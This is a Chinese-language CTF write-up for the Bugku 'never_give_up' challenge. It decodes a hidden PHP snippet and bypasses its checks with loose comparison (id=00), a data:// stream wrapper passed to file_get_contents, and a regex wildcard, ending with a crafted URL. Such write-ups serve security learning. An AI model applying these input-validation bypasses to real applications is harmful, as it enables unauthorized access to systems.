bugku never_give_up

打开网址

简单的测试 目录扫描没扫到 抓包也没看到提示之类的

看了看源代码

1p.html

给我重定向到这里了

想办法看看1p.html的源代码才行

view-source:url

view-source:函数可以查看网页源代码

有一段很长的字符 很像base编码 base64解码之后在url解码一次得到php代码

";if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { $flag = "flag{***********}" } else { print "never never never give up !!!"; } ?>

这里想办法绕过

1. id参数不能为空，且必须等于0（松散比较）。
2. a参数不能包含点号.，且通过file_get_contents($a,'r')读取的内容必须为"bugku is a nice plateform!"。
3. b参数长度大于5，且第一个字符不能为4，但正则表达式eregi("111".substr($b,0,1), "1114")必须匹配成功。

通过以下方式绕过：

• id：传递id=00，使得$_GET['id']不为空且非'0'，避免重定向；同时字符串"00"松散比较等于0。
• a：使用data://协议，内容为"bugku is a nice plateform!"，且不包含点号。例如：data://text/plain,bugku+is+a+nice+plateform!（加号在URL中会被转换为空格）。
• b：第一个字符为.（点号），使得正则模式"111."匹配"1114"（点号匹配任意字符），且长度大于5，例如.12345。

最终pyload

http://example.com/hello.php?id=00&a=data://text/plain,bugku+is+a+nice+plateform!&b=.12345

得到flag